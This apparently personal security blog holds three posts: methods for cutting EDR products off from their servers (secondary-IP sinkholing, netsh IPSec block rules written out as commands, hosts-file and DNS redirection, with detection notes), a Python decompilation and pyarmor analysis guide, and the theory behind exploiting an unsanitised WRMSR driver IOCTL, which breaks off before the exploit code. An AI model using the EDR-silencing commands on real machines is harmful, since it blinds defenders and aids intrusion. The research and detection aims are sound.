Ring 0x00

Alternative ways for EDR Silencing

2024-11-14T00:00:00+02:00

Introduction

Using the Windows Filtering Platform (WFP) APIs or creating specific Windows Firewall rules are well-known methods to silence EDRs. Popular tools using for silencing are EDRSilencer, Shutter, EDRPrison. But recently, a colleague shared a paper with me detailing an alternative approach to silence EDRs which piqued my interest and led me to explore other potential methods for disrupting EDR communication on my own.

Sinkholing by assigning secondary IP addresses

A network interface can be configured with more than one IP address. By assigning a secondary IP address that matches a public host’s IP, you effectively make that host unreachable. This works because traffic intended for that public IP is redirected to your local interface instead of reaching the actual remote host. This technique essentially acts as a form of sinkholing, where traffic to a target IP is absorbed locally.

To silence an EDR, you need to identify the IP addresses it communicates with. Once identified, you can assign each of these IPs (or their entire subnet) as secondary addresses on your interface.

To manually add a secondary IP address, go to:
Adapter Properties > IPv4 > Properties > Advanced > IP Settings

Note: If the network adapter is set to obtain its IP address automatically via DHCP, secondary addresses cannot be added. In this case, you must convert the adapter configuration to use static IP addressing by copying the current network settings.

Identifying specific IP addresses for each EDR can be inconvenient, as these IPs may change frequently or use failover IPs for redundancy. To streamline this process, it’s more effective to block connections based on process names rather than individual IP addresses.

To address this, I developed a PowerShell script (IPMute) that continuously monitors a specified list of processes for TCP connections, captures each connection’s remote address, and assigns it as a secondary IP address on all active physical adapters. Upon exiting with CTRL+C, the script performs a cleanup, removing all blocked IP addresses.

You need to let it run for a while to make sure all IP addresses are discovered by the script. The example below targets normal processes as I don’t want to give examples with an actual product.

Static IP settings are stored in the following Registry value:

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{GUID}\IPAddress

This means that this technique could potentially be made ineffective in a similar manner to the one outlined in the Huntress article, “Silencing the EDR Silencers”.

Depending how the secondary IP addresses are added, the registry values are modified by a different process:

wmiprvse.exe if addresses were added with powershell cmdlets.
DllHost.exe if addresses were added from GUI.
netsh.exe if addresses were added by netsh.
svchost.exe if assigned by DHCP (but the registry value is DhcpIPAddress).

These specifics could be useful in creating detections for scripted IP configuration changes.

Additionally, it is possible to add secondary IP addresses directly in the registry. However, in my testing, changes to this registry setting did not take effect unless I manually disabled and then re-enabled the network interface. Could be interesting to reverse how the Windows commands are assigning them without disable/re-enable of the interface. Maybe it’s possible to do it programatically.

IPSec filter rules

It’s not new that IPSec filter rules can be used to filter traffic, even if you don’t have IPSec configured (you can check the blog “Windows IPSEC for endpoint quarantine” for more information). Therefore such rules can also be used for the malicious purpose to block EDR communication. An example of how to use the netsh command to set IPSec filter rules is shown below.

The filterlist can also accept domain names, but what actually happens is that several rules are created which block all IPs to which the domain currently resolves to.

netsh ipsec static add policy name=BlockPolicy description=BlockPolicy
netsh ipsec static set policy name=BlockPolicy assign=y

:: Command examples for filterlist. One or several can be used.
:: netsh ipsec static add filter filterlist=BlockFilterList srcaddr=me dstaddr=X.X.X.X protocol=tcp description="FilterList"
:: netsh ipsec static add filter filterlist=BlockFilterList srcaddr=me dstaddr=X.X.X.X dstmask=24 protocol=tcp description="FilterList"
:: netsh ipsec static add filter filterlist=BlockFilterList srcaddr=me dstaddr=X.X.X.X Y.Y.Y.Y dstmask=32 protocol=tcp description="FilterList"
:: netsh ipsec static add filter filterlist=BlockFilterList srcaddr=me dstaddr=X.X.X.X-Y.Y.Y.Y dstmask=32 protocol=tcp description="FilterList"
:: netsh ipsec static add filter filterlist=BlockFilterList srcaddr=me dstaddr=DOMAIN.COM protocol=tcp description="FilterList"

netsh ipsec static add filteraction name=BlockFilterAction action=block
netsh ipsec static add rule name=BlockRule policy=BlockPolicy filterlist=BlockFilterList filteraction=BlockFilterAction description="IPSec Block Rule"

Because I hate writing batch, I asked ChatGPT to create a general script with a configurable list of IP addresses, IP ranges, or domain names, which are subsequently blocked via IPSec filter rules. Any empty list is ignored - IPSecFilter.

To list all ipsec filter rules:

netsh ipsec static show all

To remove the policy, along with all associated rules, filters, and lists:

netsh ipsec static delete policy name=BlockPolicy

IP addresses from the IPSec filterlist are stored in the registry as hex values at the following location:

HKLM\Software\Policies\Microsoft\Windows\IPSec\Policy\Local\ipsecFilter{GUID}\ipsecData

The process which adds the registry values is netsh.

Because configuration is stored in registry, it means that it could be made ineffective with the technique discussed in the Huntress article meantioned in previous section.

I couldn’t find if IPSec filters can be configured programmatically using the Windows Filtering Platform (WFP) API or another API, but this could be promising for further research.

They could be configured through GUI using the IPSec snap-in from the Local Security Policy MMC. In this case the process responsible for writing to the registry key is mmc.exe.

DNS Sinkholing

Adding the EDR domains to the hosts file

Again, nothing new here. Research what domains the target EDR is connecting to and add them to the hosts file, directing them to 127.0.0.1.

C:\Windows\System32\drivers\etc\hosts

There is a disadvantage with this approach. Even if you clear the DNS cache with ipconfig /flushdns or kill the already established TCP connections with sysinternals TCPView, the resolutions might have been cached in the process itself and connections may continue to be made to the original destination. You may need to wait for extended period of time or a re-boot for this to fully take effect.

Or the EDR may connect to certain IPs directly.

Changing the DNS to one under attacker control

Another way is if you can change the current DNS to one under your control and sinkhole on the DNS server side. Or use a free service like OpenDNS which gives you DNS filtering capabilities.

If you block the EDR domains in OpenDNS, then set the local host DNS settings to point to OpenDNS you get the same sinkholing effect. But it has the same disadvantage. The remote IPs may have alraedy been cached in the process itself and you may have to wait for extended period of time or a re-boot for the EDR process to start using the new IP.

Resources

Decompiling recent python versions (up to 3.12)

2024-01-03T00:00:00+02:00

Introduction

If you ever needed to decompile python .pyc files, then you know that versions 3.9 and above might be a bit problematic to deal with using the well known tools. In this blog post I’ll explain my approach at dealing with such samples, but for completenes I’ll also briefly go though the general approach with pyinstaller binaries.

General approach

Find the python version
Search for strings containing "python". You’ll easily spot the python version with which it was compiled.
Install that EXACT same version of python
Download the latest version of pyinstxtractor
If I had a problem with the extracted pyc files, usually downloading the latest version of pyinstxtractor fixes the issue, so don’t skip this step.
Use pyinstxtractor to extract the compiled python code from the executable
Run pyinstxtractor with the same python version (the one just downloaded) with which the code was compiled.

The script will extract all compiled modules and even suggest you the entry point.
Use a python decompiler to decompile the pyc file.
At the time of writing, the well known tools for this task are:
- decompyle3
- uncompyle6
- pycdc
- pydumpck

These tools are usually working fine with python versions up to 3.8 or 3.9, but may have a problem decompiling newer python versions.

Decompiling python above 3.9

In cases where the above-mentioned tools fail, I resort to pycdc with a bit of a manual approach. I always make sure I work with the latest pycdc, meaning that I have to compile it myself. The steps are the following:

Make sure you have Visual Studio installed
Clone the latest pycdc from github
Open Developer PowerShell for VS
Go inside the pycdc folder
Generate a Visual Studio project file with the command
```
cmake . msbuild pycdc.sln
```
Open the project in Visual Studio and build it.
The executable will be inside the “Debug” folder

Let’s test it against a file compiled with python 3.10

An error about an Unsupported opcode is thrown. To deal with this, you can add “fake” support for this opcode. That way you bypass the error and decompilation will continue, although it may output wrong python code. In my experience, even if the code is wrong it’s usually readable and correct enough to understand what it’s doing. After all, I don’t need a running code, I just need to know what it does.

To add such fake support, just add the mentioned opcode as a case statement inside ASTree.cpp. I usually add it at the end, before the default case, so I can easily find my modifications. The content of the case should have break for a body, like so:

	case Pyc::GEN_START_A:
		stack.pop();
		break;
	case Pyc::WITH_EXCEPT_START:  // <------ the added handler
		break;
	default:
		fprintf(stderr, "Unsupported opcode: %s\n", Pyc::OpcodeName(opcode & 0xFF));
		cleanBuild = false;
		return new ASTNodeList(defblock->nodes());

Or you could try to add proper support if you check the documenation for the opcode for the relevant python version. According to the documentation, the WITH_EXCEPT_START opcode “Calls the function in position 7 on the stack with the top three items on the stack as arguments.”. So we can sort-of try to handle it by popping the top tree items from the stack.

	case Pyc::GEN_START_A:
		stack.pop();
		break;
	case Pyc::WITH_EXCEPT_START:  // <------ the added handler
		stack.pop();
		stack.pop();
		stack.pop();
		break;
	default:
		fprintf(stderr, "Unsupported opcode: %s\n", Pyc::OpcodeName(opcode & 0xFF));
		cleanBuild = false;
		return new ASTNodeList(defblock->nodes());

Testing it again, we get another unsupported opcode. You repeat the process until you add support for all necessary opcodes and decompilation proceeds uninterrupted.

Another way, without adding each failing opcode one by one, is to just add break in the default case, under fprintf.

default:
	fprintf(stderr, "Unsupported opcode: %s\n", Pyc::OpcodeName(opcode & 0xFF));
	break; // <----------------
	cleanBuild = false;
	return new ASTNodeList(defblock->nodes());

This will have the same effect and will also print to the console all unsupporeted opcodes.

Having all the unsupported opcodes listed is helpful in cases where pycdc crashes and you want to add proper support for them. Or if you want to add proper support, so the decompiled code is better.

Adding proper support can be tricky. I don’t understand completely how pycdc works, so my approach here is to fuck around and find out.

Generally what I do is:

Check the python documentation what the opcode in question should be doing (verify you selected proper python version).
Check how similar opcodes are handled in the pycdc code
Try to implement the opcode using my combined understanding of the python docs and the pycdc code
After some trial and error, I have a code with questionable quality, which does the trick and at least produces results

Sometimes I might encounter a different type of error. For example, let’s run it against a file compiled with the latest python version. At the time of writing this is 3.12

It produces invalid vector subscript exception.

Unfortunately the whole function which handles decompilation is enclosed in a try/except block, thus you can’t easily find where the exception happens.

    try {
        decompyle(mod.code(), &mod, *pyc_output);
    } catch (std::exception& ex) {
        fprintf(stderr, "Error decompyling %s: %s\n", infile, ex.what());
        return 1;
    }

You could debug the code or use printf statements under each case. I used notepad++ find/replace with following regex to quickly add printf.

Find: "        case Pyc::\w+:\n\s{9,}"
Replace: "$&DEBUG_PRINT\("DEBUG, LINE:%d\\n", __LINE__\);\n\s            "

Like so:

$& is replaced with the matched sequence (the case line), meaning that the end result of the operation is appending the debug line under the case.
Using __LINE__ will print the exact line in the source code where this specific DEBUG_PRINT is located.
Below is the macro for the DEBUG_PRINT:

#define DEBUG

#ifdef DEBUG
#define DEBUG_PRINT(...) fprintf(stderr, __VA_ARGS__)
#else
#define DEBUG_PRINT(...)
#endif

Building and running the new executable shows that the error occurs inside the handler for LOAD_ATTR_A opcode.

The documentaion for this opcode states the following:

LOAD_ATTR(namei)
If the low bit of namei is not set, this replaces STACK[-1] with
getattr(STACK[-1],co_names[namei>>1]).

If the low bit of namei is set, this will attempt to load a
method named co_names[namei>>1] from the STACK[-1] object.
STACK[-1] is popped. This bytecode distinguishes two cases: if STACK[-1]
has a method with the correct name, the bytecode pushes the unbound
method and STACK[-1]. STACK[-1] will be used as the first argument (self)
by CALL when calling the unbound method. Otherwise, NULL and the object
returned by the attribute lookup are pushed.

Changed in version 3.12: If the low bit of namei is set, then a NULL or
self is pushed to the stack before the attribute or unbound method respectively.

Notice that the documentation states in both caes the operand namei should be shifted right by 1 namei>>1. But in the code (shown below) the oprand is used as is (without shift).

case Pyc::LOAD_ATTR_A:
	{
		PycRef<ASTNode> name = stack.top();
		if (name.type() != ASTNode::NODE_IMPORT) {
			stack.pop();
			stack.push(new ASTBinary(name, new ASTName(code->getName(operand)), ASTBinary::BIN_ATTR));
		}
	}
	break;

Changing the code from code->getName(operand) to code->getName(operand>>1) fixes the issue and decompilation proceeds successfuly. As stated in the documenation, the behavior of this opcode has changed a bit in version 3.12, but I’m unsure how to implement those changes correctly. This may produce errors in the decompiled python code, but as I said earlier - I don’t need 100% correct code, I just want to understand what it does.

Another exception you might encounter is "Bad MAGIC!". To deal with that, make sure the result of pyinxtractor is a correct PYC file (check it in a hex editor). The PYC file format starts with 4 bytes of magic bytes, followed by up to several header fields (depends on the python version used), and a marshalled code object. The 3rd and 4th magic byte should be \x0D\x0A respectively. The marshalled code-object starts with a byte which when AND-ed with 0x7F should be equal to 0x63. Below is an example of a proper PYC file:

If the proper header is missing or the magic is wrong, you could try fixing it yourself by adding/replacing with a header of a known good file (compiled with the same python version). Most of the times I fixed this error by just using the latest pyinxtractor and using the correct python version.

Dealing with pyarmor

This is a separate topic, but I wanted to add it here, because the methods used to deal with pyarmor are also useful for analyzing PYC files you can’t decompile. After all, in both cases you don’t have access to the actual souce code, so you can use similar methods for analysis.

Dynamic way

Run the executable, dump the process memory, check the strings, check network traffic, run in a sandbox, etc.

Module hooking/hijacking

This technique is really well explained in this youtube video.
It boils down to the following:

Run the PYC and check for any errors about missing modules. This tells you what modules the script uses.
Choose a module which would be useful to intercept (like crypto library, networking, encodings, etc).
Create a new file with the chosen modules name, like so: .pyand content of pass. Place it in the same directory as the PYC.
Run the PYC again. Depending on the error, implement the functionality which is missing (create an empty class or an empty function/method, whatever the error message says).
Run the PYC again and if it complains about arguments, fix those also. As a body for the methods you can print the arguments which are passed to them. That way you intercept the input which the script passes to the library. For crypto library this could be decryption keys, plaintext data, for network library - addresses, domains, request body etc.
Repeat until you have everythin you need. The errors on each run tell you what you need to implement and intercept.

Example:

Run the script:

>"C:\Program Files\Python312\python.exe" client8.pyc
 Traceback (most recent call last):
File "client8.py", line 25, in 
File "client8.py", line 9, in start_client
 OSError: [WinError 10051] A socket operation was attempted to an unreachable network

In this case, there are no missing modules, instead the script uses the “socket” module which is part of the Python Standard Library and it gets loaded from the default python installation.

I’ll intercept the socket module to check what kind of connection it will make.
Create socket.py with content pass and run again.

Runnig the PYC again

>"C:\Program Files\Python312\python.exe" client8.pyc
 Traceback (most recent call last):
File "client8.py", line 25, in 
File "client8.py", line 8, in start_client
 AttributeError: module 'socket' has no attribute 'socket'

Implement the socket class

class socket(_socket.socket):
 	def __init__(self):
  		pass

Run again:

>"C:\Program Files\Python312\python.exe" client8.pyc
 Traceback (most recent call last):
File "client8.py", line 25, in 
File "client8.py", line 8, in start_client
 AttributeError: module 'socket' has no attribute 'AF_INET'

I don’t know how to properly define AF_INET, but fortunately the socket.py source code is available, so I can properly re-implement it.

import _socket
from _socket import *

class socket(_socket.socket):
	def __init__(self, family=-1, type=-1, proto=-1, fileno=None):
		pass

Running again:

>"C:\Program Files\Python312\python.exe" client8.pyc
 Traceback (most recent call last):
   File "client8.py", line 25, in 
   File "client8.py", line 9, in start_client
 OSError: connect(): bad family

I will add the rest of the __init__ method and then define the connect() method:

import _socket
from _socket import *
 
class socket(_socket.socket):
 	def __init__(self, family=-1, type=-1, proto=-1, fileno=None):
     	if fileno is None:
         	if family == -1:
             	family = AF_INET
         	if type == -1:
             	type = SOCK_STREAM
         	if proto == -1:
             	proto = 0
     	_socket.socket.__init__(self, family, type, proto, fileno)
     	self._io_refs = 0
     	self._closed = False
         
 	def connect(self):
     		pass

Running again:

>"C:\Program Files\Python312\python.exe" client8.pyc
 Traceback (most recent call last):
   File "client8.py", line 25, in 
   File "client8.py", line 9, in start_client
 TypeError: socket.connect() takes 1 positional argument but 2 were given

I added the argument and a print function to show what is passed to the connect() method.

 	def connect(self, arg):
     		print(arg)

Running it again, we get the IP and the port to which it will connect:

>"C:\Program Files\Python312\python.exe" client8.pyc
 ('192.168.1.30', 5555)
 Traceback (most recent call last):
   File "client8.py", line 25, in 
   File "client8.py", line 12, in start_client
 OSError: [WinError 10057] A request to send or receive data was disallowed because the socket is not connected and (when sending on a datagram socket using a sendto call) no address was supplied

Custom CPython interpreter

Re-compile CPython to dump byte code at PyEval_EvalFrameDefault(). This function executes the python byte-code, therefore it should be in a state after pyarmor protections. To understand CPython source code and how to compile it I highly recommend checking CPython source code guide. And for the necessary modifications I recommend this youtube video and FLARE-ON9-Chal11_Unpacking-Pyarmor (but also check the other links in the Resources section).

This approach can also be used for scripts you can’t decompile. You could modify CPython to print the contents of strings (or other data types) every time they’re initialized, used or changed. String objects and their methods are defined in unicodeobject.c.

I made my own custom python interpreter by modifying all relevant methods in unicodeobject.c to print the string object contents after every operation. Depending on the data type you could print the string directly, or you might have to convert it first using the appropriate methods:

printf("STRING: %.*s\n", (int)size, s);
printf("STRING: %s\n", PyUnicode_DATA(PyUnicode_FromObject(unicode_obj)));
printf("STRING: %s\n", PyUnicode_DATA(unicode));

For example:

static Py_hash_t
unicode_hash(PyObject *self)
{
	printf("STRING unicode_hash: %s\n", PyUnicode_DATA(self));

Here is an example using a binary from Huntress CTF which is protected with pyarmor:

> python snake_eaterII.exe_extracted\snake_eater.pyc | findstr /I flag
<..snip..>
STRING resize_compact: flag{be47387ab77251ecf80db1b6725dd7a
STRING _copy_characters_to: flag{be47387ab77251ecf80db1b6725dd7ac
STRING PyUnicode_Append: flag{be47387ab77251ecf80db1b6725dd7ac
STRING resize_compact: flag{be47387ab77251ecf80db1b6725dd7ac
STRING _copy_characters_to: flag{be47387ab77251ecf80db1b6725dd7ac}
STRING PyUnicode_Append: flag{be47387ab77251ecf80db1b6725dd7ac}
STRING unicode_length: flag.txt
STRING unicode_result_unchanged: flag.txt
STRING _PyUnicode_FromASCII: flag.txt
STRING unicode_length: flag.txt
STRING _copy_characters_from: flag.txt
STRING _copy_characters_to: \Users\lab\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\flag.txt
STRING PyUnicode_Append: \Users\lab\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\flag.txt
STRING unicode_length: \Users\lab\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\flag.txt
STRING _copy_characters_from: \Users\lab\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\flag.txt
STRING _copy_characters_to: C:\Users\lab\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\flag.txt
STRING PyUnicode_Concat: C:\Users\lab\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\flag.txt
BYTES PyBytes_Repr: b'flag{be47387ab77251ecf80db1b6725dd7ac}'

Disassembly

If everything else fails, you could resort to disassembling the PYC and try to understand what it does on a byte-code level. For the dissassembly you could use:

pycdas from the pycdc project
dis python module (works only for the same python version as the PYC you’re analyzing)
xdis
Python Snippet decompiler

Resources

Exploiting WRMSR in vulnerable drivers

2023-11-01T00:00:00+02:00

1. Introduction

While researching driver vulnerabilities, I became interested in finding one myself. I came across a driver, from major chipset vendor, that had an IOCTL handler with the wrmsr instruction. This handler accepted the target MSR address and value from a user-mode application without any sanitization or access control. Although I had only read about this type of vulnerability and its potential abuse in theory, I decided to try it in practice because initially it didn’t seem too difficult.

Turned out that exploiting it was quite an involved process. Took me two weeks of staying up late, staring at windbg, analyzing crashes and blue screens, reading blogs and obscure forums to actually understand what’s happening and develop a working stable exploit.

Unfortunately, there is very limited practical information available on exploiting wrmsr (such as writing the shellcode and bypassing protections). The few bits and pieces I found through Google were scattered across various blogs, forums, and presentations. I couldn’t find a single comprehensive resource that systematically covered the topic with practical examples and source code. While one presentation came close, it lacked sufficient code examples. Hence, in this post, I aim to provide a comprehensive explanation.

The first part of this blog post is the theory needed to understand the practical parts later.

PS. This was the first zero-day I ever discovered, unfortunately the vendor marked my report as a duplicate, because someone else reported it first and I didn’t get a CVE on my name. I publish this blog after the vendor decided to discontinue the driver, and it won’t be available for download anymore.

2. Model Specific Registers

Model Specific Registers (MSR) are CPU control registers that are specific for a CPU family. Their original purpose was to introduce experimental new features and functionality, but some of them proved useful enough to be retained across CPU models and are not expected to change in future processors. Intel refers to these as Architectural MSRs.

One example of such a register is the Long-mode System call Target Address Register (LSTAR) MSR. This register provides support to the operating system for handling system calls. The OS can store the address of the system call handler in the LSTAR MSR. When the syscall assembly instruction is executed, it switches the CPU to ring 0 mode (kernel mode) and sets the instruction pointer (RIP) to the value stored in the LSTAR register. As a result, the CPU effectively jumps to the system call handler, enabling the OS to process the system call.

It’s important to understand that MSRs have different scopes. Thread-scope MSRs are unique to each logical processor, while core-scope MSRs are shared by the threads running on the same physical core. The LSTAR register, in particular, is a core-scope register, meaning it is shared among the threads running on a given core.

To interact with MSRs, two assembly instructions are used: wrmsr and rdmsr. These instructions can only be executed at CPU privilege level 0, typically reserved for the kernel.

The wrmsr instruction writes the contents of the EDX:EAX registers into the 64-bit model-specific register (MSR) specified in the ECX register. On 64-bit architectures, the high-order 32 bits of RDX, RAX, and RCX are ignored. The LSTAR MSR address is represented by the value C0000082.

On the other hand, the rdmsr instruction reads the contents of the 64-bit model-specific register specified in the ECX register into the EDX:EAX registers. Similar to the wrmsr instruction, on 64-bit architectures, the high-order 32 bits of RCX are ignored, but the high-order 32 bits of RDX and RAX are cleared.

In Windbg, the rdmsr command can be used to check the contents of an MSR.

On 64bit Windows the system call handler is either KiSystemCall64Shadow() or KiSystemCall64(). We can verify that using Windbg to check the symbol associated with the address stored in the LSTAR register.

It is not uncommon for device drivers, particularly those involved in hardware interactions such as overclocking or measuring CPU temperature, to read and modify specific MSR registers. However, a potential security concern arises when drivers allow user-mode applications to pass arguments directly to the wrmsr instruction without proper sanitization and access control.

In such a scenario, an unprivileged attacker could exploit this vulnerability by modifying the LSTAR MSR and redirecting it to memory under their control. Consequently, when the next system call occurs, the operating system would execute the attacker’s code with kernel-level privileges.

Exploiting the vulnerability and achieving successful execution of attacker code is not as straightforward as simply modifying the LSTAR MSR There are several OS protections that need to be bypassed, and the attacker’s code must also consider the need to quickly restore the original LSTAR value to prevent system crashes.

Before diving into practical examples, it is essential to understand how Windows executes system calls and the various protections that are in place.

3. Paging

Have you wondered how each process on Windows has its own address space, using the same addresses? If ProcessA is loaded at address 0x400000 and ProcessB is also loaded at address 0x400000, how are those processes co-existing on the same address and how does the OS distinguishes between them? The key mechanism that enables this is called paging. Although the process of paging is complex and involves several components, I’ll provide a brief overview.

In a nutshell, the operating system utilizes tables to facilitate the translation between virtual addresses and physical addresses. Each process has its own dedicated page table, which allows the same virtual address to be mapped to a different physical address for each process.

To manage this translation, every process stores the base physical address of its own page table in the DirectoryTableBase field, which is part of the KPROCESS structure. When the operating system switches execution to a particular process, it loads the value of the DirectoryTableBase into the CR3 register. This register serves as the pointer to the current process’s page table.

Through this mechanism, Windows ensures that each process has its own isolated address space, despite potentially sharing the same virtual addresses.

4. Kernel page-table isolation

After the discovery of the Meltdown CPU vulnerability, Microsoft introduced a modification to the paging mechanism known as Kernel Virtual Address Shadow (KVAS). This change aimed to address the vulnerability by implementing a similar solution to the Linux kernel feature called Kernel Page-Table Isolation (KPTI). It’s worth noting that the terms KPTI and KVAS are sometimes used interchangeably.

With KVAS enabled, each process maintains two page tables within its KPROCESS structure. The first is the DirectoryTableBase, which contains both kernel-land and user-land pages. The second is the UserDirectoryTableBase, which only includes user-land memory pages. When unprivileged user-mode code is running, the UserDirectoryTableBase is loaded into the CR3 register. However, when a system call is invoked, and the operating system switches to kernel mode, the DirectoryTableBase is loaded into CR3. This ensures that user-mode code has no visibility or access to kernel-memory pages, and the complete memory view is only available when code transitions to kernel land.

To validate the values of the CR3 register using Windbg, you can refer to the following screenshot.

In the screenshot, you can see that CR3 register holds the value of the kernel DirectoryTableBase instead of the expected user value - UserDirectoryTableBase. The shown KPROCESS values are in the context of unprivileged process with KVAS enabled, therefore CR3 should’ve contained UserDirectoryTableBase. If someone knows why this is happening, I’d appreciate if you let me know.

Additionally, it’s important to note that in Windows, Kernel Page-Table Isolation (KPTI) is disabled for processes running with administrative privileges. Which again can be verified with Windbg. The following screenshot was taken for a process running with admin privileges. You can see that UserDirectoryTableBase does not hold a valid address, instead its value is just ‘1’. Also the value of AddressPolicy field is ‘1’, meaning that KVAS is disabled.

Within the kernel, there exists a specific section called KVASCODE that is exposed by the UserDirectoryTableBase and is accessible from user-mode. This section contains essential functions responsible for facilitating the transition between user-mode and kernel-mode, as well as handling exceptions, interrupts, etc.

By exposing certain functions in the KVASCODE section to user-mode, the operating system allows for necessary operations and communication between the user-mode and kernel-mode environments. These functions play a critical role in managing the execution flow, handling system calls, and processing exceptions that may occur during program execution. The system call handler function resides in the KVASCODE region, and one of the first things it does is to switch to the appropriate page-table.

The diagram below illustrates how the OS switches between the two sets of page-tables and what memory is visible before and after issuing a syscall and sysret instruction.

(Source: I re-created this image. The original is from the blog post Fixing Remote Windows Kernel Payloads to Bypass Meltdown KVA Shadow)

5. System call internals

Prior to the introduction of KVAS, the system call handler in Windows was the KiSystemCall64() function, located in the ntoskrnl.exe module. However, with KVAS enabled, the system call handler is the KiSystemCall64Shadow() function, which I will focus on.

As mentioned earlier, when the syscall instruction is executed, the CPU switches to ring 0 (kernel mode) and sets the instruction pointer (RIP) to the value stored in the LSTAR register, which points to the KiSystemCall64Shadow() function. At this stage, the code is still executing within the context of the user-mode process. It continues to utilize the user stack (RSP) and the user page table, lacking visibility into the kernel memory.

To facilitate a full transition to kernel-mode, the initial instructions within the KiSystemCall64Shadow() function are responsible for executing the necessary operations. These instructions handle various tasks, such as setting up the kernel stack, loading the kernel page table, and establishing access to kernel memory and resources. This transition allows the code to operate within the privileged kernel environment, enabling the execution of kernel-level operations.

The screenshot below shows the disassembly of the first few instructions of KiSystemCall64Shadow().

swapgs is the first instruction executed. This instruction serves to swap the current value of the GS segment register, which holds the user-mode value, with the kernel-mode value. The kernel-mode value is stored in the IA32_KERNEL_GS_BASE MSR register, whereas the user-mode value resides in the IA32_GS_BASE MSR register. Consequently, the swapgs instruction functions by reading the value from the respective MSR register and loading it into the GS register.

The user-mode GS value (stored in IA32_GS_BASE) points to the Thread Environment Block (TEB) structure. The TEB contains valuable information about the currently running thread.

On the other hand, when the system transitions to kernel-mode, the GS segment register needs to be updated to point to the Kernel Processor Control Region (KPCR) structure. This allows the kernel to access various essential fields and structures necessary for proper kernel operation. By performing the swapgs instruction, the GS segment register is appropriately adjusted, enabling subsequent code in the KiSystemCall64Shadow() function to access the relevant structures within the KPCR.

bt instruction checks if KVAS is enabled for the current process, by testing for the presence of certain flag. If KVAS is enabled, the code sets the CR3 value to the kernel DirectoryTableBase.

Finally, the kernel stack is loaded into RSP. At this point, execution is fully transitioned to kernel-land.

KiSystemCall64Shadow() ends with a jump to KiSystemServiceUser, which is somewhere in the middle of KiSystemCall64. This means that when KVAS is enabled, KiSystemCall64Shadow() is responsible only for the first half of the system call handling, after that execution continues from the middle of the original system call handler - KiSystemCall64().

I won’t cover how KiSystemCall64Shadow() and KiSystemCall64() actually handle the system call, as it is not needed for our purposes. If you’re interested you can read more about it in the blog post “A Syscall Journey in the Windows Kernel”, which explains all the internals quite well.

Returning to user-mode is done with the function KiKernelSysretExit(), which ends with the instructions shown on the screenshots below.

The UserDirectoryTableBase value gets loaded into the RBP register. After this step, the CR3 register is set to the value stored in RBP. By doing so, the user-mode pages associated with the UserDirectoryTableBase are effectively loaded into the CR3 register.

The final instructions are shown below:

The user stack is restored by loading the appropriate value into the RSP register.

Next, the swapgs instruction is invoked once again, this time to load the user-mode GS value.

Finally, the sysret instruction is utilized to transfer control and return the execution to ring 3, the user-mode privilege level. During this transition, the instruction pointer (RIP) is set to the address saved in the RCX register. The syscall instruction, which originally initiated the transition to kernel-mode, stores the address of the next instruction in the RCX register. By using sysret, the execution flow is redirected back to the user application at the specified address, allowing it to resume its normal course of execution.

All the steps described until now are illustrated in the next diagram.

6. SMEP and SMAP

Supervisor Mode Execution Prevention (SMEP) is a security feature that helps prevent unintended execution of user-space code in kernel mode. If the CPU is in kernel mode and attempts to execute code in user-space, SMEP will trigger a trap and crash the OS. This means that if an attacker manipulates the LSTAR register to point to a user-mode buffer containing malicious shellcode, Windows will experience BSOD. SMEP acts as a protective measure to prevent supervisor mode from mistakenly executing user-space code. You can think of it as the kernel equivalent of Data Execution Prevention (DEP). And similarly to DEP, you can use Return-Oriented Programming (ROP) to chain instructions from kernel-space to bypass it.

The CR4 register has a flag which is responsible for enabling and disabling SMEP.

Supervisor Mode Access Prevention (SMAP) is another security feature that complements SMEP by extending protection to memory access (reads and writes) from kernel mode to user-space addresses. If the CPU is in supervisor mode and attempts to access a user-space address, SMAP will trigger a trap and crash the OS. This means that even with ROP chains built with kernel-space addresses on the stack, will fail because the user-mode stack pointer (RSP) itself will have a user-space address.

The RFLAGS register has a flag (the AC flag) which controls SMAP, and it can be changed from user-mode!

7. Kernel Patch Protection

Kernel Patch Protection (KPP), also known as PatchGuard, is a security feature in Windows operating systems, which primary function is to periodically check whether protected system structures within the kernel have been modified. If any unauthorized modifications are detected, Windows initiates a bug check and proceeds to shut down the system.

To ensure the integrity of critical kernel structures, KPP employs a set of routines that cache known-good copies or checksums of these structures. These cached copies or checksums act as reference points for validation. At random intervals (typically every few minutes), KPP validates the protected structures against their cached versions. If any discrepancies or modifications are found, it indicates potential tampering or unauthorized changes, triggering the system to take appropriate action (crash).

This means that if a malicious code tampers kernel structures, it has to restore their original values before KPP runs. Because it is not known when KPP will run, the malicious code should try to restore the structures as quickly as possible.

8. Analyzing the vulnerable driver

For detailed explanation on how to analyze Windows drivers, refer to my previous posts.

Within its DriverEntry function, the driver utilizes the IoCreateDevice function instead of employing the more secure variant, IoCreateDeviceSecure. Consequently, this allows even low-privileged users to interact with the driver.

Upon inspecting the IOCTL handler function, it becomes evident that the driver can accept 5 IOCTL codes, each calling a separate function. However, at this stage, no additional access control or validation checks have been implemented. In the provided screenshot, I’ve already renamed the most interesting functions.

For the current blog post, only the function which uses the wrmsr instruction is relevant. Its IOCTL code shows it’s using Transfer Type method METHOD_OUT_DIRECT. Therefore, the input buffer is allocated by the kernel, and the output buffer is controlled by the user.

The decompiled code shows that the wrmsr instruction accepts from the SystemBuffer (the input) a target MSR Index and a value to write. The SystemBuffer contains this information as a structure in the following format:

typedef struct DRIVER_STRUCT {
	DWORD Affinity;
	DWORD MsrIndex;
	DWORD64 Value;
}MEMORY_STRUCT, * PMEMORY_STRUCT;

The Affinity Mask is a value which specifies on which CPU cores the current thread is allowed to execute. The documentation says the following:

KeSetSystemAffinityThreadEx changes the affinity mask of the current thread. 
The affinity mask identifies a set of processors on which the thread can run. 
If successful, the routine schedules the thread to run on a processor in this set.

In a multiprocessor system, a kernel-mode driver routine that runs in the context 
of a user-mode thread might need to call KeSetSystemAffinityThreadEx to temporarily 
change the affinity mask of the thread. Before the routine exits, it should call 
KeRevertToUserAffinityThreadEx to restore the affinity mask of the thread to its 
original value.

It’s important to note that the content of the input buffer could originate from an unprivileged user, but there are no access-control, nor content-validation checks. This implies that anyone can interact with the driver and potentially alter the LSTAR value, thereby gaining kernel-level code execution.

9. Verifying the vulnerability

